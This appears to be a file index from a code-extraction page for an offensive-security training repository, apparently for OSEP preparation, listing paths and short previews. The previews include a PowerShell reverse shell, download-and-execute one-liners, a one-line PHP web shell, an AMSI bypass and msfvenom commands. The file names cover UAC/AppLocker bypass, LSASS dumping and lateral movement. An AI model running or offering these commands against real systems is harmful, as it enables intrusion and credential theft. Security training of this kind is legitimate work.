"path": "01 - Process Games/EXE/TryHarder.cs",
"chars": 4429,
"preview": "using System;\nusing System.Diagnostics;\nusing System.Net;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing"
},
{
"path": "01 - Process Games/EXE/procHollow.cs",
"chars": 4872,
"preview": "using System;\nusing System.Runtime.InteropServices;\nclass Program\n{\n // Define necessary structures\n [StructLayout"
},
{
"path": "02 - Macros/Curls/Curl-checkProcessBit.vba",
"chars": 1153,
"preview": "Option Explicit\n\nSub SendProcessInfo()\n Dim processName As String, serverUrl As String, wmiService As Object, process"
},
{
"path": "02 - Macros/Curls/Powershell-checkProcessBit.vba",
"chars": 1403,
"preview": "Option Explicit\n\nSub SendProcessInfo()\n Dim processName As String\n Dim is64Bit As Boolean\n Dim result As String"
},
{
"path": "02 - Macros/Curls/README.md",
"chars": 442,
"preview": "### Why?\n1. The main purpose of the VBA is to determine if the process we target for injection is x64 or x86 bit.\n2. Sav"
},
{
"path": "02 - Macros/MSBuild/msbuild.vba",
"chars": 909,
"preview": "Sub AutoOpen()\n Dim WinHttpReq As Object\n Dim oStream As Object\n Dim myURL As String\n Dim LocalFilePath As S"
},
{
"path": "02 - Macros/processHollow.vba",
"chars": 8369,
"preview": "#If Win64 Then\n Private Declare PtrSafe Function ZwQueryInformationProcess Lib \"NTDLL\" (ByVal hProcess As LongPtr, By"
},
{
"path": "02 - Macros/processInjection.vba",
"chars": 6470,
"preview": "Private Declare PtrSafe Function Sleep Lib \"KERNEL32\" (ByVal mili As Long) As Long\nPrivate Declare PtrSafe Function getm"
},
{
"path": "02 - Macros/revShell.vba",
"chars": 3992,
"preview": "Private Type WSAData\n wVersion As Integer\n wHighVersion As Integer\n szDescription(0 To 255) As Byte\n szSystemSta"
},
{
"path": "02 - Macros/shellcodeRunner.vba",
"chars": 3974,
"preview": "Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal fl"
},
{
"path": "02 - Macros/simpleRunner.vba",
"chars": 193,
"preview": "Sub mymacro()\n Dim Command As String\n Command = \"curl http://192.168.49.115/worked\"\n Shell Command, 1\nEnd Sub\nS"
},
{
"path": "03 - CLM & Applocker Bypass/1 - Source/InvokePowershell.cs",
"chars": 1201,
"preview": "using System;\nusing System.Collections.ObjectModel;\nusing System.Configuration.Install;\nusing System.Management.Automati"
},
{
"path": "03 - CLM & Applocker Bypass/1 - Source/ShellcodeRunner.cs",
"chars": 10231,
"preview": "// We need to install with NuGet package manager some dependencies for the project prior compilation:\n// Install-Package"
},
{
"path": "03 - CLM & Applocker Bypass/2 - HTA Templates/README.md",
"chars": 808,
"preview": "## InstallUtil (installutil.hta)\n\n*Note: If* `curl` *is unavailable on the target system, use* `bitsadmin` *as an altern"
},
{
"path": "03 - CLM & Applocker Bypass/2 - HTA Templates/installutil.hta",
"chars": 606,
"preview": "<html> \n<head> \n<script language=\"JScript\">\n\n var shell = new ActiveXObject(\"WScript.Shell\");\n var amit = "
},
{
"path": "03 - CLM & Applocker Bypass/2 - HTA Templates/msbuild.hta",
"chars": 431,
"preview": "<html> \n<head> \n<script language=\"JScript\">\n\n var shell = new ActiveXObject(\"WScript.Shell\");\n var amit = "
},
{
"path": "03 - CLM & Applocker Bypass/2 - HTA Templates/xsl.hta",
"chars": 291,
"preview": "<html> \n<head> \n<script language=\"JScript\">\n\n var shell = new ActiveXObject(\"WScript.Shell\");\n var amit = "
},
{
"path": "03 - CLM & Applocker Bypass/3 - MSBuild/README.md",
"chars": 1152,
"preview": "## Process Hollowing\n\n- The `hollow.xml` file facilitates process hollowing, offering a stable method capable of executi"
},
{
"path": "03 - CLM & Applocker Bypass/3 - MSBuild/clm-revshell.xml",
"chars": 10526,
"preview": "<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n\t<Target Name=\"Bypass\">\n\t\t<Full"
},
{
"path": "03 - CLM & Applocker Bypass/3 - MSBuild/hollow.xml",
"chars": 9454,
"preview": "<!-- C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe processHollow.csproj -->\n<Project ToolsVersion=\"4.0\" xm"
},
{
"path": "03 - CLM & Applocker Bypass/3 - MSBuild/hollow2.xml",
"chars": 10304,
"preview": "<!-- C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe processHollow.csproj -->\n<Project ToolsVersion=\"4.0\" xm"
},
{
"path": "03 - CLM & Applocker Bypass/3 - MSBuild/processInjection.xml",
"chars": 7709,
"preview": "<!-- C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\msbuild.exe processHollow.csproj -->\n<Project ToolsVersion=\"4.0\" xm"
},
{
"path": "03 - CLM & Applocker Bypass/3 - MSBuild/shellcodeRunner.xml",
"chars": 9345,
"preview": "<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n <!-- This inline task execute"
},
{
"path": "03 - CLM & Applocker Bypass/4 - Binaries/CLMBypass.cs",
"chars": 2928,
"preview": "\nusing System;\nusing System.Runtime.InteropServices;\nusing System.Runtime.CompilerServices;\n\nnamespace loader\n{\n\n pub"
},
{
"path": "03 - CLM & Applocker Bypass/5 - JScript/README.md",
"chars": 230,
"preview": "We can execute `runner.sct` remotely with:\n\n- `mshta.exe \"javascript:GetObject('script:http://192.168.50.145/runner.sct'"
},
{
"path": "03 - CLM & Applocker Bypass/5 - JScript/runner.sct",
"chars": 470,
"preview": "<?XML version=\"1.0\"?>\n<scriptlet>\n<registration\n description=\"Desc\"\n progid=\"Progid\"\n version=\"0\"\n classid=\""
},
{
"path": "03 - CLM & Applocker Bypass/6 - XSL/README.md",
"chars": 691,
"preview": "# XSL Transform\n\nCan be combined with JScript code (SuperSharpShooter) to get a meterpreter shell.\n\n> [!CAUTION]\n> Bypas"
},
{
"path": "03 - CLM & Applocker Bypass/6 - XSL/template.xsl",
"chars": 340,
"preview": "<?xml version='1.0'?>\n<stylesheet version=\"1.0\"\nxmlns=\"http://www.w3.org/1999/XSL/Transform\"\nxmlns:ms=\"urn:schemas-micro"
},
{
"path": "03 - CLM & Applocker Bypass/enum-paths.ps1",
"chars": 2876,
"preview": "Param(\n[parameter(Mandatory=$false)]\n[String[]] $Exclusions = @(),\n\n[parameter(Mandatory=$false)]\n[String[]] $Paths = @("
},
{
"path": "04 - Tunneling/Ligolo-ApplockerBypass/Ligolo-ApplockerBypass.ps1",
"chars": 2793,
"preview": "#1 Make sure to generate agent.bin: .\\donut.exe -f 1 -o .\\agent.bin -a 2 -p \"-connect your-server:11601 -ignore-cert\" -i"
},
{
"path": "04 - Tunneling/Ligolo-ApplockerBypass/README.md",
"chars": 1466,
"preview": "Source: https://github.com/LorisDietrich/ApplockerBypassExternalBinary\n\n### <ins>Step 1: Modify the Ligolo-ng agent's ma"
},
{
"path": "04 - Tunneling/README.md",
"chars": 1226,
"preview": "## Agent Shellcode Runner \n\n1. Make sure to convert `agent.exe` of Ligolo to shellcode:\n\n- `donut -f 1 -o agent.bin -a 2"
},
{
"path": "04 - Tunneling/ligolo-clmbypass.xml",
"chars": 2912,
"preview": "<Project xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\" ToolsVersion=\"4.0\">\n <ItemGroup>\n <Reference In"
},
{
"path": "04 - Tunneling/ligolo-psrunner.ps1",
"chars": 8273,
"preview": "Add-Type @\"\n using System;\n using System.Runtime.InteropServices;\n using System.Net;\n using System.Diagnosti"
},
{
"path": "04 - Tunneling/ligolo.ps1",
"chars": 3804,
"preview": "# Check that we are running as 64bit process\nif ([System.IntPtr]::Size -ne 8) {\n Write-Error \"This script must be run"
},
{
"path": "05 - Lateral Movement/Fileless Lateral Movement/EXE/PsExecLat.cs",
"chars": 4169,
"preview": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing System.Text;\r\nusing System.Threading.Tasks;\r"
},
{
"path": "05 - Lateral Movement/Fileless Lateral Movement/Powershell/Invoke-SMBRemoting.ps1",
"chars": 10499,
"preview": "function Invoke-SMBRemoting {\n\t\n\t<#\n\n\t.SYNOPSIS\n\tInvoke-SMBRemoting Author: Rob LP (@L3o4j)\n\thttps://github.com/Leo4j/In"
},
{
"path": "05 - Lateral Movement/Fileless Lateral Movement/README.md",
"chars": 1731,
"preview": "# Powershell Implementation\n*NOTE: We need admin access to SMB on the victim, can be abused using also injected kerberos"
},
{
"path": "05 - Lateral Movement/MSSQL/CustomAssembly/Convert-toHex.ps1",
"chars": 1217,
"preview": "# Target file\n$assemblyFile = \"c:\\temp\\cmd_exec.dll\"\n\n# Build top of TSQL CREATE ASSEMBLY statement\n$stringBuilder = New"
},
{
"path": "05 - Lateral Movement/MSSQL/CustomAssembly/README.md",
"chars": 1284,
"preview": "# Custom CLR DLL for SQL Server\n\nWe can compile the `CreateAssembly.cs` file with csc.exe:\n- `csc.exe /target:library cm"
},
{
"path": "05 - Lateral Movement/MSSQL/CustomAssembly/cmd_exec.cs",
"chars": 1345,
"preview": "using System;\r\nusing System.Data;\r\nusing System.Data.SqlClient;\r\nusing System.Data.SqlTypes;\r\nusing Microsoft.SqlServer."
},
{
"path": "06 - Privilege Escalation/AlwaysInstallElevated/README.md",
"chars": 831,
"preview": "# Leveraging AlwaysInstallElevated\nSource: https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob"
},
{
"path": "06 - Privilege Escalation/SeImpersonate/Invoke-SigmaPotato.ps1",
"chars": 38521,
"preview": "function Invoke-SigmaPotato {\n#.SYNOPSIS\n# Wrapper for SeImpersonatePrivilege Exploitation via SigmaPotatoCore (.NET v2."
},
{
"path": "06 - Privilege Escalation/SeImpersonate/README.md",
"chars": 1339,
"preview": "# Leveraging SeImpersonatePrivilege\n\n## Method 1\n\n- We can exploit it using the two tools: `SpoolSample.exe` and `SharpP"
},
{
"path": "06 - Privilege Escalation/SeImpersonate/SharpPrintSpoofer.cs",
"chars": 8958,
"preview": "using System;\nusing System.Text;\nusing System.Security.Principal;\nusing System.Runtime.InteropServices;\n\nnamespace Sharp"
},
{
"path": "07 - Powershell Scripts/01 - Recon/ForeignGroupMembers.ps1",
"chars": 1468,
"preview": "# We need to load PowerView before running this script - iex(iwr http://192.168.45.195/PowerView.ps1 -useb)\n# Make sure "
},
{
"path": "07 - Powershell Scripts/01 - Recon/initialRecon.ps1",
"chars": 3455,
"preview": "# PowerShell Enumeration Script for OSEP\n# 1. Enumerate Network Shares and Mapped Shares\nWrite-Host \"Enumerating Network"
},
{
"path": "07 - Powershell Scripts/02 - RevShells/obf-revShell.ps1",
"chars": 560,
"preview": "$amit = New-Object System.Net.Sockets.TCPClient(\"192.168.45.223\",9001);\n$amit = $amit.GetStream();\n[byte[]]$bytes = 0..6"
},
{
"path": "07 - Powershell Scripts/02 - RevShells/obf-revShellV2.ps1",
"chars": 1144,
"preview": "$apple = \"172x16x196x1_8080\" #Your IP address and port\n$apple = $apple -replace 'x', '.'\n\n$banana = $apple.LastIndexOf('"
},
{
"path": "07 - Powershell Scripts/03 - Loaders/procHollow.ps1",
"chars": 6577,
"preview": "# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp EXITFUNC=thread\n# Shellcode should be X"
},
{
"path": "07 - Powershell Scripts/03 - Loaders/shellcodeLoader.ps1",
"chars": 3309,
"preview": "\n# start calc.exe (Will start calculator.exe), example shellcode, replace with yours\n[Byte[]] $shellcode = @(0x50, 0x51,"
},
{
"path": "07 - Powershell Scripts/createAdmin.ps1",
"chars": 1586,
"preview": "#Requires -RunAsAdministrator\n# (New-Object System.Net.WebClient).DownloadString('http://192.168.45.160/Create-Admin.ps1"
},
{
"path": "08 - UAC Bypass/Invoke-EventViewer.ps1",
"chars": 3326,
"preview": "function Invoke-EventViewer {\n if ($args){\n echo \"[+] Running\"\n\n echo \"[1] Crafting Payload\"\n $c"
},
{
"path": "08 - UAC Bypass/README.md",
"chars": 3002,
"preview": "## 1. CMSTP\n\nSource: https://github.com/expl0itabl3/uac-bypass-cmstp.<br>\n- Invoke: `iex(iwr http://192.168.45.195/cmstp"
},
{
"path": "08 - UAC Bypass/cmstp.ps1",
"chars": 8525,
"preview": "function Bypass-UAC\r\n{\r\n Param(\r\n [Parameter(Mandatory = $true, Position = 0)]\r\n [string]$Command\r\n "
},
{
"path": "08 - UAC Bypass/improved-fodhelper.ps1",
"chars": 717,
"preview": "function Bypass { \n Param ( \n [String]$program = \"cmd /c curl http://192.168.25.22/worked\"\n )\n\n New-I"
},
{
"path": "09 - PPL Bypass/README.md",
"chars": 1167,
"preview": "### <ins>Check if PPL is enabled</ins>\nCMD: `reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v RunA"
},
{
"path": "10 - Post Exploitation/Mimikatz/Invoke-Mimikatz.ps1",
"chars": 3722631,
"preview": "function Invoke-Mimikatz\n{\n<#\n.SYNOPSIS\n\nThis script leverages Mimikatz 2.2.0 and Invoke-ReflectivePEInjection to reflec"
},
{
"path": "10 - Post Exploitation/Mimikatz/README.md",
"chars": 1669,
"preview": "# Get em' all!\n\nInvoke: `iex(New-Object net.webclient).downloadstring('http://ip/Invoke-Mimikatz.ps1')`\n\n### Disable PPL"
},
{
"path": "10 - Post Exploitation/lsassDump/MiniDump.ps1",
"chars": 2976,
"preview": "# Bypass AMSI because we're cool\r\n[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('"
},
{
"path": "10 - Post Exploitation/lsassDump/obf-MiniDump.ps1",
"chars": 2101,
"preview": "# Define the output directory for logs\n$carrot = \"C:\\temp\"\n\n# Ensure the directory exists\nif (!(Test-Path -Path $carrot)"
},
{
"path": "11 - KISS Payloads/DLL/README.md",
"chars": 624,
"preview": "## newadmin.cpp\nSource: https://github.com/gustanini/DLL-Hijack-POC/tree/main \n\nDLL that will create a new local admin w"
},
{
"path": "11 - KISS Payloads/DLL/newadmin.c",
"chars": 2915,
"preview": "/*\n * ADDUSER.C: creating a Windows user programmatically.\n */\n\n#define UNICODE\n#define _UNICODE\n\n#include <windows.h>\n#"
},
{
"path": "11 - KISS Payloads/DLL/newadmin.cpp",
"chars": 519,
"preview": "#include <stdlib.h>\n#include <windows.h>\n\nBOOL APIENTRY DllMain(\nHANDLE hModule,\nDWORD ul_reason_for_call,\nLPVOID lpRese"
},
{
"path": "11 - KISS Payloads/EXE/README.md",
"chars": 920,
"preview": "## revshell.cpp\nSimple C++ reverse shell, can be used to bypass Windows Defender if we want to get a simple reverse shel"
},
{
"path": "11 - KISS Payloads/EXE/newadmin.c",
"chars": 2729,
"preview": "/*\n * ADDUSER.C: creating a Windows user programmatically.\n */\n\n#define UNICODE\n#define _UNICODE\n\n#include <windows.h>\n#"
},
{
"path": "11 - KISS Payloads/EXE/revshell.cpp",
"chars": 2140,
"preview": "#include <winsock2.h>\n#include <windows.h>\n#include <ws2tcpip.h>\n#include <stdio.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n"
},
{
"path": "11 - KISS Payloads/EXE/revshell2.cpp",
"chars": 2819,
"preview": "#include <winsock2.h>\n#include <windows.h>\n#include <ws2tcpip.h>\n#include <stdio.h>\n\n#pragma comment(lib, \"ws2_32.lib\")\n"
},
{
"path": "12 - Web Shells/ASPX/one.aspx",
"chars": 3225,
"preview": "<%@ Page Language=\"C#\" Debug=\"true\" Trace=\"false\" %>\n<%@ Import Namespace=\"\\u0053\\u0079\\u0073\\u0074\\u0065\\u006d.\\u0044\\u"
},
{
"path": "12 - Web Shells/ASPX/shellcodeRunner.aspx",
"chars": 4533,
"preview": "<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\n<%@ Import Namespace=\"System.IO\" %>\n<script runat=\"server\">\n private"
},
{
"path": "12 - Web Shells/JSP/cmd.jsp",
"chars": 3462,
"preview": "<%\n /*\n * Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a lis"
},
{
"path": "12 - Web Shells/JSP/revshell.jsp",
"chars": 2338,
"preview": "<%@\npage import=\"java.lang.*, java.util.*, java.io.*, java.net.*\"\n% >\n<%!\nstatic class StreamConnector extends Thread\n{\n"
},
{
"path": "12 - Web Shells/PHP/tiny.php",
"chars": 102,
"preview": "<?php \nSYSTEM($_REQUEST['cmd']);\n// echo shell_exec($_GET['cmd']);\n// echo passthru($_GET['cmd']);\n?>\n"
},
{
"path": "12 - Web Shells/README.md",
"chars": 207,
"preview": "### JSP Web Shell\nWe can use it to upload war file and deploy it (in case we face tomcat):\n```\n$ mkdir webshell\n$ cp ind"
},
{
"path": "13 - XOR-Encoder/README.md",
"chars": 520,
"preview": "Source: https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/XOR%20Shellcode%20Encoder/Program.cs\n\nJust a simple "
},
{
"path": "LICENSE",
"chars": 1065,
"preview": "MIT License\n\nCopyright (c) 2025 Amit Mor\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\no"
},
{
"path": "README.md",
"chars": 26705,
"preview": "# OSEPlayground 🛝\n\n\n\n> [!NOTE]\n> Some "
}
]
// ... and 5 more files (download for full content)
About this extraction
This page contains the full source code of the Extravenger/OSEPlayground GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 89 files (3.9 MB), approximately 1.0M tokens, and a symbol index with 129 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.